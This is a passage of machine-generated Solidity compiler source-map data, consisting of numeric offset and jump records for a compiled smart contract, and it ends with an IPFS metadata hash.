0;10210:7;;10254:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10244:4;10249:1;10244:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10244:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10319:15:::1;::::0;10287:57:::1;::::0;10304:4:::1;::::0;10319:15:::1;10337:6:::0;10287:8:::1;:57::i;:::-;10355:15;::::0;:191:::1;::::0;-1:-1:-1;;;10355:191:0;;-1:-1:-1;;;;;10355:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;10436:6;;10355:15:::1;::::0;10473:4;;10500::::1;::::0;10520:15:::1;::::0;10355:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5529:6:0;:14;;-1:-1:-1;;;;5529:14:0;;;-1:-1:-1;;;;10086:468:0:o;10725:88::-;10763:10;;:42;;-1:-1:-1;;;;;10763:10:0;;;;10783:21;10763:42;;;;;:10;:42;:10;:42;10783:21;10763:10;:42;;;;;;;;;;;;;;;;;;;1245:179;1303:7;;1335:5;1339:1;1335;:5;:::i;:::-;1323:17;;1364:1;1359;:6;;1351:46;;;;-1:-1:-1;;;1351:46:0;;15347:2:1;1351:46:0;;;15329:21:1;15386:2;15366:18;;;15359:30;15425:29;15405:18;;;15398:57;15472:18;;1351:46:0;15145:351:1;1430:136:0;1488:7;1515:43;1519:1;1522;1515:43;;;;;;;;;;;;;;;;;:3;:43::i;9411:255::-;-1:-1:-1;;;;;9487:18:0;;9479:68;;;;-1:-1:-1;;;9479:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9634:15:0;;;;;;;:9;:15;;;;;:24;9411:255::o;2158:189::-;2244:7;2279:12;2272:5;2264:28;;;;-1:-1:-1;;;2264:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2303:9:0;2315:5;2319:1;2315;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:127::-;2108:10;2103:3;2099:20;2096:1;2089:31;2139:4;2136:1;2129:15;2163:4;2160:1;2153:15;2179:275;2250:2;2244:9;2315:2;2296:13;;-1:-1:-1;;2292:27:1;2280:40;;2350:18;2335:34;;2371:22;;;2332:62;2329:88;;;2397:18;;:::i;:::-;2433:2;2426:22;2179:275;;-1:-1:-1;2179:275:1:o;2459:183::-;2519:4;2552:18;2544:6;2541:30;2538:56;;;2574:18;;:::i;:::-;-1:-1:-1;2619:1:1;2615:14;2631:4;2611:25;;2459:183::o;2647:668::-;2701:5;2754:3;2747:4;2739:6;2735:17;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:6;2795:20;2834:4;2858:60;2874:43;2914:2;2874:43;:::i;:::-;2858:60;:::i;:::-;2940:3;2964:2;2959:3;2952:15;2992:4;2987:3;2983:14;2976:21;;3049:4;3043:2;3040:1;3036:10;3028:6;3024:23;3020:34;3006:48;;3077:3;3069:6;3066:15;3063:35;;;3094:1;3091;3084:12;3063:35;3130:4;3122:6;3118:17;3144:142;3160:6;3155:3;3152:15;3144:142;;;3226:17;;3214:30;;3264:12;;;;3177;;3144:142;;;-1:-1:-1;3304:5:1;2647:668;-1:-1:-1;;;;;;2647:668:1:o;3320:1215::-;3438:6;3446;3499:2;3487:9;3478:7;3474:23;3470:32;3467:52;;;3515:1;3512;3505:12;3467:52;3555:9;3542:23;3584:18;3625:2;3617:6;3614:14;3611:34;;;3641:1;3638;3631:12;3611:34;3679:6;3668:9;3664:22;3654:32;;3724:7;3717:4;3713:2;3709:13;3705:27;3695:55;;3746:1;3743;3736:12;3695:55;3782:2;3769:16;3804:4;3828:60;3844:43;3884:2;3844:43;:::i;3828:60::-;3922:15;;;4004:1;4000:10;;;;3992:19;;3988:28;;;3953:12;;;;4028:19;;;4025:39;;;4060:1;4057;4050:12;4025:39;4084:11;;;;4104:217;4120:6;4115:3;4112:15;4104:217;;;4200:3;4187:17;4217:31;4242:5;4217:31;:::i;:::-;4261:18;;4137:12;;;;4299;;;;4104:217;;;4340:5;-1:-1:-1;;4383:18:1;;4370:32;;-1:-1:-1;;4414:16:1;;;4411:36;;;4443:1;4440;4433:12;4411:36;;4466:63;4521:7;4510:8;4499:9;4495:24;4466:63;:::i;:::-;4456:73;;;3320:1215;;;;;:::o;4540:247::-;4599:6;4652:2;4640:9;4631:7;4627:23;4623:32;4620:52;;;4668:1;4665;4658:12;4620:52;4707:9;4694:23;4726:31;4751:5;4726:31;:::i;5000:388::-;5068:6;5076;5129:2;5117:9;5108:7;5104:23;5100:32;5097:52;;;5145:1;5142;5135:12;5097:52;5184:9;5171:23;5203:31;5228:5;5203:31;:::i;:::-;5253:5;-1:-1:-1;5310:2:1;5295:18;;5282:32;5323:33;5282:32;5323:33;:::i;:::-;5375:7;5365:17;;;5000:388;;;;;:::o;5653:356::-;5855:2;5837:21;;;5874:18;;;5867:30;5933:34;5928:2;5913:18;;5906:62;6000:2;5985:18;;5653:356::o;6366:251::-;6436:6;6489:2;6477:9;6468:7;6464:23;6460:32;6457:52;;;6505:1;6502;6495:12;6457:52;6537:9;6531:16;6556:31;6581:5;6556:31;:::i;6931:127::-;6992:10;6987:3;6983:20;6980:1;6973:31;7023:4;7020:1;7013:15;7047:4;7044:1;7037:15;7063:416;7152:1;7189:5;7152:1;7203:270;7224:7;7214:8;7211:21;7203:270;;;7283:4;7279:1;7275:6;7271:17;7265:4;7262:27;7259:53;;;7292:18;;:::i;:::-;7342:7;7332:8;7328:22;7325:55;;;7362:16;;;;7325:55;7441:22;;;;7401:15;;;;7203:270;;;7207:3;7063:416;;;;;:::o;7484:806::-;7533:5;7563:8;7553:80;;-1:-1:-1;7604:1:1;7618:5;;7553:80;7652:4;7642:76;;-1:-1:-1;7689:1:1;7703:5;;7642:76;7734:4;7752:1;7747:59;;;;7820:1;7815:130;;;;7727:218;;7747:59;7777:1;7768:10;;7791:5;;;7815:130;7852:3;7842:8;7839:17;7836:43;;;7859:18;;:::i;:::-;-1:-1:-1;;7915:1:1;7901:16;;7930:5;;7727:218;;8029:2;8019:8;8016:16;8010:3;8004:4;8001:13;7997:36;7991:2;7981:8;7978:16;7973:2;7967:4;7964:12;7960:35;7957:77;7954:159;;;-1:-1:-1;8066:19:1;;;8098:5;;7954:159;8145:34;8170:8;8164:4;8145:34;:::i;:::-;8215:6;8211:1;8207:6;8203:19;8194:7;8191:32;8188:58;;;8226:18;;:::i;:::-;8264:20;;7484:806;-1:-1:-1;;;7484:806:1:o;8295:140::-;8353:5;8382:47;8423:4;8413:8;8409:19;8403:4;8382:47;:::i;8440:168::-;8513:9;;;8544;;8561:15;;;8555:22;;8541:37;8531:71;;8582:18;;:::i;9225:306::-;9313:6;9321;9329;9382:2;9370:9;9361:7;9357:23;9353:32;9350:52;;;9398:1;9395;9388:12;9350:52;9427:9;9421:16;9411:26;;9477:2;9466:9;9462:18;9456:25;9446:35;;9521:2;9510:9;9506:18;9500:25;9490:35;;9225:306;;;;;:::o;9873:184::-;9943:6;9996:2;9984:9;9975:7;9971:23;9967:32;9964:52;;;10012:1;10009;10002:12;9964:52;-1:-1:-1;10035:16:1;;9873:184;-1:-1:-1;9873:184:1:o;10341:277::-;10408:6;10461:2;10449:9;10440:7;10436:23;10432:32;10429:52;;;10477:1;10474;10467:12;10429:52;10509:9;10503:16;10562:5;10555:13;10548:21;10541:5;10538:32;10528:60;;10584:1;10581;10574:12;11431:401;11633:2;11615:21;;;11672:2;11652:18;;;11645:30;11711:34;11706:2;11691:18;;11684:62;-1:-1:-1;;;11777:2:1;11762:18;;11755:35;11822:3;11807:19;;11431:401::o;13001:135::-;13040:3;13061:17;;;13058:43;;13081:18;;:::i;:::-;-1:-1:-1;13128:1:1;13117:13;;13001:135::o;13141:128::-;13208:9;;;13229:11;;;13226:37;;;13243:18;;:::i;13274:127::-;13335:10;13330:3;13326:20;13323:1;13316:31;13366:4;13363:1;13356:15;13390:4;13387:1;13380:15;13406:217;13446:1;13472;13462:132;;13516:10;13511:3;13507:20;13504:1;13497:31;13551:4;13548:1;13541:15;13579:4;13576:1;13569:15;13462:132;-1:-1:-1;13608:9:1;;13406:217::o;14030:980::-;14292:4;14340:3;14329:9;14325:19;14371:6;14360:9;14353:25;14397:2;14435:6;14430:2;14419:9;14415:18;14408:34;14478:3;14473:2;14462:9;14458:18;14451:31;14502:6;14537;14531:13;14568:6;14560;14553:22;14606:3;14595:9;14591:19;14584:26;;14645:2;14637:6;14633:15;14619:29;;14666:1;14676:195;14690:6;14687:1;14684:13;14676:195;;;14755:13;;-1:-1:-1;;;;;14751:39:1;14739:52;;14846:15;;;;14811:12;;;;14787:1;14705:9;14676:195;;;-1:-1:-1;;;;;;;14927:32:1;;;;14922:2;14907:18;;14900:60;-1:-1:-1;;;14991:3:1;14976:19;14969:35;14888:3;14030:980;-1:-1:-1;;;14030:980:1:o;15015:125::-;15080:9;;;15101:10;;;15098:36;;;15114:18;;:::i

ipfs://ff5fa9eff252491946a67411896674dae156b3aa51f7ade543fa50e8c9f393fb